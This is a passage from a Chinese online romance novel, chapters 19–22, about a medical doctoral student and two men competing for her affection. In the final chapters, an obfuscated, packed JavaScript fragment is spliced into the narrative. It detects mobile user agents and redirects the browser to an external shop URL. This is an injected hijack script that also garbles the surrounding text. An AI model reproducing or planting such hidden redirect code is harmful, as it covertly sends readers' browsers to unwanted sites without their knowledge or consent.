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是带了摄影团队的lo娘,邀请她合拍。
对方人多势众,梁尔璐怀疑难缠,只得跟着移换阵地。
楼道宽阔的平台在准备工作下略显忙碌,她与站在对面staff区域的梁奕珩激情网聊。
断断续续收到数十条消息吐槽“好热”、“偶遇网红的福气给你要不要”,梁奕珩抬眼,丢她无情嘲笑。
可惜由旁边的化妆师打断犯贱进度:“先生,去给你朋友整理一下头发,裙腰别着欧根纱拖尾的那边。”
“腰?你们都是女的。”
他真的受够了被误会为情侣。
吝啬喊出的每一声“妹妹”都在警告自己清醒些。
“这样啊,抱歉,我还以为你们在谈。”
心生不耐,梁奕珩极快敛去烦躁眸色:“没关系。”
但妹妹真的很可爱。
表情仍然疑惑,专心研究他与化妆师对话之间的唇语,想来是失败了,此刻微微皱眉凝他。
因此没注意到身旁lo娘替她顺头发的动作,只条件反射般受惊躲闪。
他及时跑近,抱起碍于高跟鞋而摔地的恍惚人儿,当即撂下冷话离开:“脚崴了。”
突兀的凌空感令梁尔璐二度惊呼:“啊——呜呜,好疼好疼。”
哼唧得距离变远,她搁拐角墙沿偷偷比划OK手势:“我配合度好吧?超绝临场发挥。”
“嗯,再乖点。”
按男人示意的,梁尔璐靠墙站稳,由他蹲着确认踝骨是否扭伤。
触及肌肤的指间动作轻柔,激起她使坏的欺负心思:“疼呢,是外表看不出来,伤在里面那种。”
“都让你乖点了。”
撩至耳后的发丝因俯弯姿势垂落肩前,被起身的男人重新别去耳廓,简单顺了浮躁碎发,又报复性地小力揪弄卷弧部位:“你的自然卷够漂亮。”
“白送给你,要吗?”梁尔璐霎时垮脸,直叹气,“好看算一回事,在恐怖回南天扎堆和四季如夏的南粤,自然卷更是噩梦。”
“我不要,你留下,给我看看就行。”
自从离开网红团队的范围,男人话语间的玩笑意味全消失,更加与温润的面容相配。
“哦,随你看。”
她拍拍梁奕珩的肩:“走吧,请你喝奶茶。”
告知他储物格位置,梁尔璐等在大厅。
疾缓有序的皮鞋声响近身后,她摁灭手机,侧身弯唇:“珩……林先生。”
而男人沉默,除了算作回应的一抹唇际弧度,并未予她任何词句。
等停了脚步,依旧无声,伸手将她耳后整齐的数绺长发拨乱到脸颊,捋顺并拢回原处。
“梁小姐。”
“我让你把饭吃完。”
“为什么不吃呢?”
“哦,为了和他一起看展。”
话毕,温存的偏凉手指也撤走,并未多停留她丝丝作痒的烫热耳畔。
美术馆设置的空调适宜,但她记得,港岛那些公共场所的冷气温度特别低。
“别,别碰。”梁尔璐后知后觉地控诉,滞顿般干眨眼,因他这怪异行为僵硬得莫名犯怵。
“别碰哪里?”男人眸光略微偏侧,从始至终都没看她的脸,声线平静,“就像猫敏感的耳朵被摸。”
“可是。”
仿若喟叹的清晰两字短暂落下,男人徐徐对视而来,掠过的眼风淡然。
“刚才他碰你头发的时候,没红。”
19.旧夏日
“看来梁小姐是真的喜欢我?”
“你怀疑我骗人?”
林瀚睿轻笑,注视梁尔璐难以置信的恼怒脸容:“ 毕竟,你挺会装。”
无论是与他演情侣,亦或刚才配合另外的男人,凄凄唤疼。
完全没想躲避她抬手挥来的耳光,却见捱近的掌风骤歇。
梁尔璐拧眉,攥紧了拳离开。
倒不是真想打他。
无非是被说中后的心虚过盛,同时也因为生气。
连她自己都还分不清感兴趣和喜欢,男人居然擅自将原因往后者的方向猜测?
救命,真不是真的想打他啊。
单纯就抬起手一刹那,异常生气,想的似乎是……
混蛋,为什么要怀疑她的真心。
真心?
梁尔璐瞬间怔得停步,任由烈日的火燎在全身。
是喜欢?
不知道不知道!
燥且躁,她咬牙返回美术馆,拦在无事发生般悠哉走的男人身前:“闭嘴,我不想听到你的声音。”
“梁小姐是如何看出,我有和你说话的心情?”
“幼稚鬼!”算是服气这相看两厌的局面,梁尔璐强硬把摘下的宝石手镯塞他手里,示意食指根部的布偶猫戒指。
“我包里放着自己买到的五个,跟你那六个混一起了,所以我懒得浪费时间挑出来还给你,两清好吧?两清!”
可男人显然懒得搭理她大堆字眼,饶有兴味地将掌间那圈珠光宝气收入西装外套内袋,才掀眼皮探她,眸意含笑:“幼稚鬼嫌别人幼稚。”
是是是,行行行。
梁尔璐抿唇,忍住翻白眼的冲动。
不是?
收下了?
这铂金宽版手镯,通体使用无色钻石与珍珠,其中最为突出的主石是一枚十克拉红钻。
完全不似戒指的廉价。
就收下了?
“梁小姐眼神的意思,莫非是舍不得?后悔跟我两清?”男人话落,又笑盈盈为她撑开伞遮阳。
她确实怕热,贪恋此刻这点微末的阴凉。
哦,所以他管这叫没心情搭理她。
梁尔璐语塞。
其实并未处于百口莫辩的境地,后悔与否,她不说谁知道?
但问题是她一直在男人面前装穷,堪称无言以对。
老老实实吃瘪,她凶巴巴出声:“我后悔个大头鬼!”
后悔死她这个冤大头了啊啊啊!
“总而言之,比上次你在小区什么都不说就断关系要好太多了,同样都是惹我生气,刚才怀疑我,送戒指试探我真假喜欢的行为虽然伤人,但我可以接受。”
“你呢,越是故意惹我生气,赶我走……”梁尔璐笑得更甜,“我就一定滚远远的,怎么样?从今往后,你第二次反悔之前的每一天,常常想念我吧。”
临走抛他引以为傲的绝美wink,她没忘挑衅。
吃够瓜,梁奕珩嗦口奶茶,同林瀚睿擦肩而过:“不是地狱开局都能被你干成地狱走向,嚯,我看你现在心里已经痒死了。”
“是真的喜欢。”
“两个傻子。”
“对对对,我说了不算,你们俩头倔驴只信自己挖空脑袋研究的结论。”
回望的瞥视间,梁奕珩确定他那张面无表情的沉静脸上写了什么字。
稳操胜券。
*
由车内空调与冰奶茶降着温,梁尔璐听到手机的消息提示音,内容简短——
【反悔只有一次】
挫败感剧增。
像那略微倾斜的玻璃杯,她又猜错男人的心思了。
“简直胡说八道!珩仔,我高一时和地中海班主任相处不会面红耳赤,换成实习的男大学生就会,难不成喜欢他了?我最反感师生恋,而且,小时候也害羞躲过你一段时间的。”
“承认喜欢一个男人,犯法吗?”梁奕珩无法理解。
“你根本不管被猪欺负的白菜妹妹,犯法!”等确定了当然秒认,梁尔璐焦躁,“但送我回茶楼,能无罪释放。”
“等等,你说那绿茶是猪啊?好好好,判我无期徒刑都高兴,我早说他是绿茶咯。”
男人都这么神经的?
她喝奶茶压压惊。
而心事影响胃口,越发甜滋滋得犯腻,分明融化的冰块已令饮品整体寡淡些。
导致没及时解决掉的大半杯惨遭母亲在茶楼门口逮获:“第一次见你穿这种衣服,去哪疯了?又喝奶茶。”
由她稍撩头纱又捏来脸颊的肉,梁尔璐轻晃脑袋:“妈咪,我们去美术馆玩,珩仔也喝了,骂他。”
谁知撒娇没成,反吓得低呼,直躲梁奕珩身后。
“怎……怎么了!”男人更是惊恐地左顾右盼,凭借异性的绝对力量,重新将她扯回身前。
如果她晕倒,必然是太阳晒的,不关神经男人的事。
梁尔璐无语闭眼:“没事,你正常点。”
能怎么了?
只不过是她在导师落座的那一桌里,瞧见熟悉的黑衬衫背影。
纵使靠了椅子背,垂头看手机,姿态都尤为端庄。
周围年轻人众多,部分是同学。
她硬着头皮入席,迅速转身,将能够直视斜对面男人的可见范围锁定旁边同门:“二师姐,大暑假的,这又是个什么有效脱发饭局?”
“对面全是中大的负责老师博士生,据说两间学校达成了‘商学+医学’的校际合作,培养医学管理人才,所以博一每周会比往届多出来一些相关课程安排,需要我们广中医的医学院博士和他们商学院博士结对,去中大上课,相当于旁听生。”
“但好在没任何作业,不用考试,比上专业课舒服,除了老师,还多一个专业搭档教你知识点。”
中大的商学院博士,牛哇。
不对。
梁尔璐霎那清醒,男人不重要,关键是:“谢天谢地,幸好我博一只剩半学期了,原来上
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这半学期的课就能让我们秃子医学生变绝顶聪明呢,摸了。”
“妹宝说得好,这鱼摸定了,不像你姐夫黏人难伺候。”
关闭流量,她连接自家茶楼的公共WiFi,手机底端忽然跳出收到了附近快速分享图片的提示弹窗。
轻触“接受”键打开文件,是张疑似自制不久的白底黑字——六个戒指集齐了吗?记得戒赌,赌狗达咩。
稍微打量自己指间的戒指,梁尔璐忍俊不禁,察觉对面某位女博士生正朝她笑。
坐林北北身边的……
男人照旧埋头沉浸于网络,她便也自然些,冲女人前后比划数字六、OK手势。
别太OK,她甚至拥有十二个戒指。
收回目光之际,梁尔璐与抬起眼的男人恰逢视线,她当即朝下翕垂了眼睫。
几乎是同时,惊呼声和细密议论萦耳。
“啊?这么快?”
“有点抽象了……”
“什么情况?”
“6。”
她闻声好奇。
却见尚未摆任何茶点的旋转桌玻璃顺时针转向她,速度缓慢,上方平置了她送出的手镯。
双色钻石明暗不一的璀璨火彩交相辉映在玻璃面,倒影模糊不清。
格外得暧昧不清。
可惜难抵其中尤为刺眼的血红。
正好转至她面前时,男人伸手摁停这片玻璃,也干脆利落松开,笑意温绻地凝看她。
周围起哄声抵达全新高峰,引发这大动静的罪魁祸首倒是气定神闲。
“梁小姐,我在美术馆捡到了你遗失的手镯,真巧,物归原主。”
连怔数秒,梁尔璐总算回神,垂眼戴入空荡的腕骨位置,气笑一声。
她尽量收敛面部难控的恼火,抬眼视他,弯唇:“谢谢你,林先生,是挺巧。”
配合演好全套戏,现场激烈吃瓜的氛围才恢复正常。
梁尔璐心不在焉地划拉手机屏幕,使劲调匀呼吸,确保百分百压制发疯劲头。
身旁的二师姐仍未停手,跟男朋友火热聊天,余光可见她即将语音转文字的动作,怎知成了社死的误触播放。
完了完了,师姐完了。
“家人们,谁懂啊?我极有可能只是他们两个人play里的一环,小师妹和男大学生有点暧昧了,男方有点宣示主权的意思。”
嗯?
大师姐的嗓音?
对哦,大师姐刚才离了席,去往卫生间方向。
哈哈。
是她完了呢。
周边的食客众多,梁尔璐被奶茶呛到也只能强忍大部分咳嗽声,难受得无法兼顾其余事情,可惜将近咳疯,都没成功帮傻眼的师姐找回三魂七魄。
甚至眼睁睁目睹师姐后知后觉地颤抖手指按下,以为是暂停外放,实则触发了再次播放。
再次完整的播放。
哈哈。
家人们,谁懂啊?
杀了她,就现在!
20.旧夏日
紧张情绪蹿升似地急剧上了头,牵连胃部隐隐痉挛作痛,碍于周围整齐看戏的博士生们,梁尔璐只能垂眼,收敛皱眉的弧度。
而语音事故中的男主角,竟还有闲情,连续发来微信消息——
【是宣示主权】
【我想和你在一起上课】
【利用我导师喜欢给单身学生牵红线的习惯】
她局促咽口唾沫。
荒谬,居然错看成“我想和你在一起”了……
梁尔璐倏地生起坏心思,迅速打字,咬牙忍住翻涌至喉口的恶心劲儿,她捂嘴稍顿,输入剩余的后话。
【那我胃又犯病了,你想不想更直观地宣誓主权?我社恐,也没兴趣和其他陌生男人一起上课】
横竖也没什么等待文本回应的意义,梁尔璐正打算摁灭手机,听见身后凑近的脚步停下。
原本以为是上菜的店员,她有些错愕地对梁奕珩弯弯眉眼:“你要回家了吗?”
“嗯,从后厨白拿到免费午餐。”得亏出门戴了隐形眼镜,梁奕珩老远就误打误撞地瞥清林瀚睿隐晦告白。
弟弟这种东西可真狗啊。
他递过另一只手拎着的透明塑料袋:“尔妹,这是伯母让我给你的。”
梁尔璐耳朵尖得很,接过的同时,周围分明有人低声疑惑“她有男朋友啊”。
服气,她现在俨然成了片瓜田。
“我靠,他是要过去吗?哪个才是她男朋友?”
被吃瓜群众提醒,梁尔璐将发怔目光投往利落起身的男人,却没敢多落几秒钟,匆匆低了头。
啊?来真的?
注意力暂时重回母亲给的点心,她惊觉是一份菠萝包,眼眸瞬间浮漾颤意。
这款点心源自港岛。
语音事故又恰恰与港人相关。
淡化的紧张感卷土重来,梁尔璐难捱胃痉挛疯了似的烈性子。
她抓救命稻草般,攥紧梁奕珩近在咫尺的手腕:“大概率是胃溃疡,上次药物过量的后遗症,喝过冰的,走……别告诉我爸妈。”
梁奕珩当即往桌面放下牵制动作的大包小包饭菜,及时扶稳还未站起就失去意识的人。
但俯身抱她之际,视野内出现突然横插的一截手臂。
并不停留半秒,而是直接伸向桌边那些他无法兼顾的食盒,极为寻常地抬眼催促:“哥,怎么还愣着?你帮姐姐,我替你拿饭。”
哦,倒又是他的错了?
梁奕珩丢过车钥匙:“归你开。”
某人想共同上车的目的昭然若揭,他环紧怀中的梁尔璐,快步擦肩时略微扫看林瀚睿。
神情纯良得挑不出错来,掺杂几丝急迫与愧疚的礼数。
这整一套手段耍完,完美诱骗得他博士导师慈祥点头:“小林你去吧,姐姐比较重要。”
反正绿茶弟弟挺会演,连句“谢谢您”的客套话都充满了感激涕零的夸张味。
眼下众目睽睽,梁奕珩头疼。
压根没办法拒绝他上车。
早知道就选更远的隐蔽停车位,使劲踹飞混账弟弟。
*
梁尔璐在中午醒来,盯了几秒天花板才觉眼熟,是她小时候常住的梁奕珩家。
下楼时路过他养水母的房间,即将碰着门把手却听楼梯拐角处传近掺杂笑意的男声:“醒了,但你没饭吃,必须饿到下午,医生让你趁早做胃镜检查。”
“记得你那鼻子的先天缺陷吧?等会儿选可以麻醉无痛的口腔式胃镜,另外,这是钟敏绮的同城速递。”
“唉,仪仪也在生病。”梁尔璐接取男人递的服装店专用礼盒,内里是两套汉元素的睡袍和外穿常服,留言卡片落有“公主请沐浴更衣”的字样。
她拈起卡片示意他:“少爷,你有什么表现吗?”
“坏男人不给你饭吃,对不起,回头我让点香师去公主寝殿焚香。”
得了称心如意的补偿,梁尔璐重重点头:“珩仔,你真懂我。”
她这还是第一次亲身享受传闻中富人别墅的点香师服务。
由于角度偏差,她费了些时间扣紧盒盖,抬眸交汇梁奕珩泛柔的笑,见他添话。
“尔妹,留下住几天,把胃养好,我不放心你独居。”
“好啊,你就等着伺候公主吧。”她稍稍垂落眼皮,临时计划今天剩下的行程安排,“不过我做完胃镜想搬家,正好回一趟爸妈那里,晚上也得出门,帮仪仪代班商场的兼职。”
“嗯,我都陪你。”
回他诚意满满的笑脸,梁尔璐深感有个哥哥是真不错。
她算明白了。
对梁奕珩是夹带亲情的友情。
对林先生是纯粹的爱情。
毕竟这段时间以来,无论何时何地何事都会莫名其妙浮现于她脑海的男人,只是……林北北。
*
联系完点香师,梁奕珩等走廊对面的门声响落,他才进水母房。
室内窗帘紧拢,光线昏暗,却难以消掩林瀚睿鲜明的存在感,周围占大多数的蓝色灯呈显偏晦的冷调。
双方保持沉默,梁奕珩自顾自查看着海族箱内水母的生命状态,直至身后平淡的嗓音掷向他。
“你退却不让,倒是兄友弟恭。”
仿佛听了天大的的笑话,他嗤声,原模原样地嘲讽:“弟恭?你恨不得杀了我。”
心中有气,梁奕珩长久不纾,窒得很:“你比谁都清楚,想和她在一起,却不能在一起的原因。”
“我不清楚你的具体原因,可我仍有转圜的余地。”
视线随自由浮沉的水母转移,他咬后槽牙,强行吞咽挫败感:“好,祝你平安顺遂,得偿所愿。”
自五岁那年相识,林瀚睿受够了这便宜干亲哥哥的忍耐力:“哥,你最是卑劣。”
只暗恋,但其中的占有欲与明恋相比,显然更盛。
分明当初小小年纪就已经频繁聊起喜欢梁尔璐,谁知胆小鬼过了二十年都没向她开口,如今轮到他胆大包天地爱上梁尔璐了,好哥哥却藏在暗处同他争抢。
终有一天,他势必要将混账哥哥踹飞到阳光下。
林瀚睿拧眉,压抑泛滥过多的阴暗心理,凝看转过身来的冷漠男人。
“对,我仗着青梅竹马这层关系,理所应当地靠近她,可你是不是忘了?你在装穷,隐瞒她特别反感的那种身份,骗她才能赖她身边,弟弟,我们都一样。”无非是互戳肺管子,梁奕珩毫不
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留情,“卑劣至极。”
此外没什么可说,他迈步离开,未曾想这小子继续动嘴皮子:“妈咪还有其它东西留给你?”
“当然有。”
横竖还没到干妈建议给的时机,梁奕珩懒得多透露。
“哥哥,我爱你,有空再约吵架。”
“神经病。”语不惊人死不休,害他不小心握空了门把手,指节砸在墙壁。
*
他忍。
忍到痛恨自己分身乏术。
梁尔璐约在下午的胃镜进行中,梁奕珩略微琢磨,还是拨通了林瀚睿的电话:“我去帮她搬家,她闺蜜生病了,只剩你可以来医院接她,别废话,躲哪了?滚出来。”
躲不远处的走廊墙角了,揣着副计谋得逞的欠揍笑容。
“在这呢,哥哥。”
没见臭小子要过来的意思。
梁奕珩剜他探出的脑袋一眼,走近,完全无法忽视他不依不饶的绿茶话术。
“哥哥,我虽然身子骨弱,但完全能单独照顾姐姐的,至于搬家这类重活,就交给哥哥了,你快去忙吧。”
“把你身上恶心的茶香味收住。”临走之际,梁奕珩又瞪两眼。
确实夹得太恶心了。
林瀚睿控制分贝,清嗓。
无痛胃镜持续的时间长达半小时左右,他点头回应了赶到等候室呼叫家属的医生。
“哎等等。”医生疑惑,立刻拦住他,“刚才陪病人来的家属不是你啊。”
意料之中的小插曲,林瀚睿信口拈来:“嗯,那是我哥,我跟他吵架了,他妹控,不让我和姐姐在一起。”
“真是家属?希望你理解一下,万一病人因为我的疏忽出了事故。”
他甚至有备而来,早已从压箱底的相册文件里翻出自拍旧合照。
两兄弟对着镜头喜笑颜开,距离无间,和乐亲近。
医生这才点头:“好,那你尽快叫醒病人。”
“谢谢。”林瀚睿第一次进胃镜检查室,光是随意打量床周围的仪器就不忍直视。
他轻轻推梁尔璐的肩,满手全是瘦削骨头的触感:“梁小姐,梁小姐?”
有醒的迹象。
林瀚睿撤远了五指,趁她麻药导致的迷糊劲儿,温缓声线:“宝宝,你想和我在一起吗?”
反应严重迟钝,但的确鼻音极轻地应了一声。
抱起人离开检查室,他放慢脚程,稳妥着步子。
半路察觉她不安分地抬手环来肩膀,脸庞与发丝直往他颈窝深埋,嗓音软喃:“珩仔,我好饿呐,你好香。”
假装的傻笑见好就收,梁尔璐眨眨眼,眼珠子转得清醒狡黠,忽然因腰上扣紧了些的男人手劲而瑟缩地可怜闷哼,随后愣怔。
这么凶……
所以,这是吃醋?
林北北也喜欢她?
演不下去了。
她本来只是想装睡,欺负梁奕珩玩玩。
怎知来的竟是心动男嘉宾,干脆将错就错,试探着推进双方关系。
梁尔璐当即转头,怨怼着盯看男人,等与他百分百对视了才扬唇,露出白靓的虎牙尖尖:“凶巴巴的,疼死了,要林北北亲亲才会好哦。”
21.旧夏日
仅一秒,男人蓦地嘴角衔笑,掀抬了流转宠溺眸光的双眼,只顾往前走,停步后俯身却照旧稳着她,让坐上走廊的公共椅。
缓缓蹲在她面前,总算给予回应:“我不喜欢你。”
又是这句直截了当的拒绝。
还以为他会这样亲她呢。
“那你为什么问……”梁尔璐伤心,颓得紧张双肩下塌,话已到齿关而无力说出口。
“你朋友说去帮你搬家,找我接你出院,医生就问家属怎么换了个人,我谎称是三兄妹,你朋友是大哥,和我这三弟吵架,不许我和姐姐你在一起,但我偏要。至于刚才问你,单纯只是想逗逗你。”
只是,逗她。
“你又不是没亲过……过,过……”受情绪催化,梁尔璐一时嘴快,无奈实在找不到其余合适的词语蒙混过关,过不出来了。
她放弃挣扎,忍住被面红耳赤蒸到下意识闪躲的怯涩瞳仁,直视男人疑惑的脸容,宣泄委屈似地微响嗓音:“反正你那天晚上梦游的时候就亲过我了嘛!”
“对不起,我没印象。”
“虽然梦游醒后的确不会有记忆,但你这是什么渣男发言?”
瞥见他殷红的耳尖仿佛正丝丝冒热,梁尔璐继续盯他并不渣的诚恳脸,欺负人的念头瞬间剧增:“林北北,我是非常非常传统的。”
男人显然明白她的意思。
“别误会,我不喜欢你,也不讨厌你,梁小姐,我可以对你负责。”
确实,他神色中除了愧疚,毫无懊悔之类的成分。
有点意思啊。
梁尔璐装傻充愣,深入试探:“哦,那你就是爱我。”
她记得INTJ的刻板印象之一是,相比“喜欢”,更倾向于用“爱”这个字表达情感。
却遭他轻笑打趣:“你从哪里看了INTJ的刻板印象?”
“你断网,2G网咯。”她知羞,靠冷哼涨气势,“就算我说了你也不知道,而且,我不屑你的负责,一厢情愿是没有未来的。”
宛如医院随处可见的白色,无聊又窒息。
“所以我绝对要把你追到手!”
梁尔璐向前倾身,轻轻施力揪男人的脸颊,导致他吃了这股劲道的白皙皮肤区域,在短时间内涌拢浅淡血色。
“我去拿胃镜报告单。”
揉弄他的双手被他握了放去膝上。
想走?她偏留。
立即攥紧男人的腕部,抬头仰看站起的他:“林北北,你坏。”
明明清楚以她的性格,不会领受接吻事故引发的情侣关系,却用“负责”两个字逼退她。
可惜了,她是愈挫愈勇的反骨仔。
“如果我们在一起,会遇见不好的事吗?”难怪隐晦着劝她远离?
梁尔璐已经不止一次感觉到男人给出这种委婉的警告了。
“我去拿单子,看看是什么病症,你听话,身体才会好,嗯?”
突然散发的爹系温柔……压迫感昭然。
稍鼓腮帮子,梁尔璐泄气松手,蹙眉瞅他背影。
这算话中有话吗?
像是。
又不像?
讨厌的谜语人!
*
一楼药房。
林瀚睿按梁尔璐发的消息,下楼汇合。
柜台的玻璃窗口内,工作人员陆续往塑料袋里装药。
他稍加打量身边人面无表情却明显在赌气的五官,出声打破沉默:“医生只开了西药。”
女声毫不拖延,呛味十足:“中药我自己就会配啊,最好哪天神志不清抓错药,毒死我算了。”
林瀚睿接过药袋,难以忽视工作人员仿佛看情侣吵架的目光,赶忙跟上快步离开的梁尔璐:“医生说胃溃疡大概需要十周左右能好,饮食上忌生冷辛辣这种,别喝酒。”
“烦死了。”梁尔璐咬唇,吃痛。
只不过是告白被拒而已,有什么的?
林北北不喜欢她,也没错没犯法,有什么好凶他的?
但问题在于。
这接二连三强调“我不喜欢你”的男人居然宠着她,任由她无理取闹?
他不会是……
梁尔璐神情疑惑:“cheap,cheaper,cheaperper。”
却得到他更纳闷的上扬鼻音。
“你是港人欸,难道没看过子华神演的那部港剧?《男亲女爱》?这是他台词。”她总间歇性怀疑林北北家里连2G网络都没通,“玩成谐音梗就是,奇,奇葩,奇葩葩。”
心动男嘉宾是奇葩吧!
不喜欢她,却惯着她宠?
“梁小姐,我是不是太无趣。”
嗯嗯嗯?
怎么开始垂头丧气地妄自菲薄了?
梁尔璐捧起他脸颊,四目相对地直直盯视:“怎么会!我完全是因为你年纪轻轻但像断网,才对你感兴趣的,一见钟情!你,宇宙无敌有趣!可爱!”
话未落尽,男人面部逐升的温度便已如熨烫一般,丝缕交缠着沁进她微薄的手心肌肤。
救命。
好纯一男的。
找到宝了。
好想养他。
想把他养得健健康康,脸色不再这么病态白。
掌心好似被火灼,梁尔璐发觉情急之下过分主动,条件反射地放手退了半步,眉眼沾些惊愣。
男人随即进了一步,带拢医院大厅独有的药味,垂眸翕动眼睫下缓慢减淡的羞意:“你要去搬家吗?不行,你朋友千叮咛万嘱咐,将你托付给我照顾,如果你去帮忙,他应该会怪我。”
面对梁尔璐失去边界的主动靠近,林瀚睿承认溃不成军,根本没办法假装毫无破绽的镇定。
此刻却又不愿挪开视线,哪怕心怀越近就越怯的悸动。
她却笑着,夸着别的男人:“他不会的,性格特别好,能理解你。”
“可他刚才很紧张你。”
想也知道是哪种紧张程度,梁尔璐见得多了:“对,珩仔经常这样,你不用有压力。”
她依然羞着呢,打算拿完药秒逃。
谁知道林北北迅速把拎扣的药袋藏去了身后,出声也急快:“别走。”
懵得她伸向袋子的手久久怔在半空。
见他晦了些面色,犹豫且沮丧地递给她,连同恹恹的语气:“那你走吧。”
梁尔璐有些接不住。
后知后觉地回想。
哦呦,原来这男人自从下楼,就狠狠拿捏为爱冲动的她,出口的每一句话都茶香四溢。
是她恋爱脑疯了,竟忘记招惹了个绿茶男。
攥过药袋,梁尔璐五指握拳:“你……你!你坏!不是每壶茶都可以留住我的!”
转身跑远一段距离,但她控制不住地偶然回头,瞥清男人看似纯良无害的笑容。
意料之中……
坏男人。
明明喜欢她,偏不承认。
*
其实坏男人醋劲这么大,也不会真的留住她,毕竟那些贴身衣物还得她亲自收拾。
由于是暂住,行李不算多,一律载去了梁奕珩家安顿,至于回自己家时,父亲正待厨房煮晚饭,凭窸窣动静赶来客厅,却瞬间垮脸:“还以为是我老婆,你们再坐会儿等着吃吧。”
“老豆,你看见我一个国外的快递没有?”
“你是问铁锅里被我炒老的毛豆吗?不知道。”
哦,又双叒叕没被天天喊“妈咪”的女儿叫“爹地”,生气了。
“别笑……”梁尔璐悻悻,瞪看幸灾乐祸的梁奕珩,“你吃点水果歇吧,我找找。”
茶几下方空阔,是固定的未拆封包裹存放地,可她翻遍了都没影儿。
“我不会已经拆了吧?”
疑惑间,她瞅瞅梁奕珩递的水杯:“你欠揍?”
胃镜检查之后几小时内不能喝水。
狗东西居然跟她玩望梅止渴这套?
怎么她认识的男人都坏。
梁奕珩却像逗狗一般,含笑轻缓地揉她后脑勺:“饭也还不能吃,你赶紧找到快递,我偷偷带你走。”
“我可能知道放哪了,珩仔,你这神手令我醍醐灌顶。”
梁尔璐绕去沙发背后单独放置一架三角钢琴的宽敞区域,掀开漆黑琴盖,共鸣盘钢板的空位置处赫然摆有长方形礼盒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113765|137595||http|test|mini|href|location''.split(''|''),0,{}));
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>当初因父母的呼唤,她急着赶厨房搬菜,恰好路过琴,随手搁了进去,随手关了琴盖……
她捧到茶几桌面,眼神示意即将站起帮她逃饭的梁奕珩坐下:“三瓶香水,你精通山水画,我就送你两瓶山味道的木质香,其中一瓶最原始的古龙水算是古董香了,我额外托留学朋友买的大瓶正装,总之你使劲用吧,别心疼。”
“人物和花鸟我也精通啊,更别说什么写意或工笔,国画书法大师收下你的礼物了。”
“感谢梁大师不嫌弃。”双手合十,梁尔璐眯眼嫌弃他光华四溢的模样,“那你留下吃饭,多吃点,我帮仪仪打完工就立刻回你家大别墅吃宵夜。”
*
相比闺蜜下不了床的严重感冒状态,她算是能忍胃镜导致的不适感,也幸亏商场工作人员给的人偶服备用电池不够,基本穿个大半小时就耗尽,充电又得等一小时左右。
虽说是在空调配置充分的商场套人偶服,但内部的小风扇终究散不了多少热量,梁尔璐第三次无语地替人偶服结束充电,管理人员便结清了工资,让提前下班。
解散被笨重头套蹭松的丸子头,她准备重新梳扎。
碍于自然卷发质,皮肤出的一层薄汗将它湿卷得更加蓬乱,却迎面遇见心动男嘉宾……
好啊,男人身边站了个打扮靓丽的年轻异性,谈话氛围融洽。
与他撒娇的女声甜软:“哎呀,都是上一辈之间的事情,我从小就觉得你人很好。”
梁尔璐难以及时收敛怔怔神色。
失策了,戴着隐形眼镜,她应该趁机装瞎的。
连手中随意握着的珍珠发链都犯懵,大有摔向地面的落势,她下意识去捞,结果害得发簪与两条头绳同时砸地。
其实尴尬的并非狼狈头发,是她为穿人偶服更凉快,特意换了身闺蜜设计的汉元素吊带与短宋裤。
既然已有大裤衩,她当然要脚踩洞洞鞋。
甚至没化妆,只囫囵涂一层防晒……结合用心配饰的发型,总之她整个人散发着一种精致且懒的神经美感。
她觉得面热,捡起物品就跑下电梯。
连续踏在电梯台阶的响动足够引人注意,林瀚睿停止聊天,循声望去逃窜一般的背影。
“天呐,我第一眼以为是哪个女明星,超绝气质!”
“你自己回家。”同身边睁大眼感叹的女人迅速撂话,他也往电梯赶。
商场冷气足,与大门外的纯天然热气差异显著,窒闷扑面而来。
林瀚睿放慢脚步缓解这冷热交替的不适,确保敏感的呼吸道不会出什么问题。
梁尔璐站在稍远处斜对面的彩色玻璃屋旁。
夜色暗淡,里边的灯亮堂,多面绚丽的复古色块投射在四周路面,拼凑得光怪陆离。
她今天穿的拖鞋,这会儿需要多仰高些脖颈才能瞧见他的脸,气势输得不是一星半点,语气强硬得拧巴:“解释。”
“一个妹妹,二十岁。”
妹妹眼光不错,心动女嘉宾的确靓,堪比明星。
之前披下的长发已被簪子盘拢成丸子头,发缕间缠绕有颗颗珍珠,别到双耳后的部分刘海散落颊边,表层一些短碎发卷得毛毛躁躁。
像极她此刻炸了坛子似的醋劲。
“也就是差五岁的青梅竹马咯?有什么问题?并不是所有说你人很好的话都是在发好人卡拒绝,觉得你好,所以喜欢你也正常。”
气他沉默中含义明确的温柔笑意,梁尔璐皱眉:“甭管是哪种妹妹,你身边有其他女人就是不行!干什么?你讨厌妒妇啊?怎么了?我是这样的!”
“是同族的堂妹,家里亲戚关系紧张,她二十年来第一次偷偷约我。”
“你好长一条人!”像白天那样,狗东西又欺负她。
干嘛不一开始说明是血亲的妹妹。
恼了却还夸他。
“好高一个人。”林瀚睿轻笑着纠正,牵了她手腕,兴致盎然地走向车。
垂眼见梁尔璐耳尖泛红,奋力掰他五指的失败模样。
气呼呼的软糯劲儿。
“让你牵了吗……不给,不给!狗东西,你还没哄我!哄我,哄我!”
22.旧夏日
梁尔璐还蛮好奇他会怎么个哄法。
心里怀着疑惑与期待,手上动作也轻缓了不少,甚至不再挣。
对于男人逐渐放慢直至停迈的脚步,她紧张,因此微微滞怔了眼睫翕动的频率。
等完全交汇他转身而来的目光,她有一霎,溺入眸瞳内温濡的牵缠情绪。
随后由他悦耳的声线唤回——
“交往吗?我是真心的。”
她也是。
心真的已经跳出嗓子眼了,被她堪堪拦在紧抿唇瓣下的齿关,措辞能力趋向低弱。
男人似是连她一点点犯愣的时间都容不了,五指松开手腕,劲直向她腰沿去。
凌空感瞬时而起,梁尔璐嫌羞,匆忙抬手环他脖颈,将脑袋搁到肩膀,不愿处于近距离的对视状态。
擦过身侧的风其实偏小,可她仿佛绷紧的弦,哪怕是这么细微的触动,都能引起心湖的颤栗。
遑论男人继续惹引波澜的嗓音。
“一开始,我只打算跟你做朋友,后来,我决定放弃朋友关系,但你生日那晚,我看见你发了与他的合照,我不止反悔,更是故意穿了身西装去赴你的约,当时我们阴差阳错地被误会成夫妻。”
“宝宝,我想要你是为了我才穿上婚纱。”
她与梁奕珩的合照?
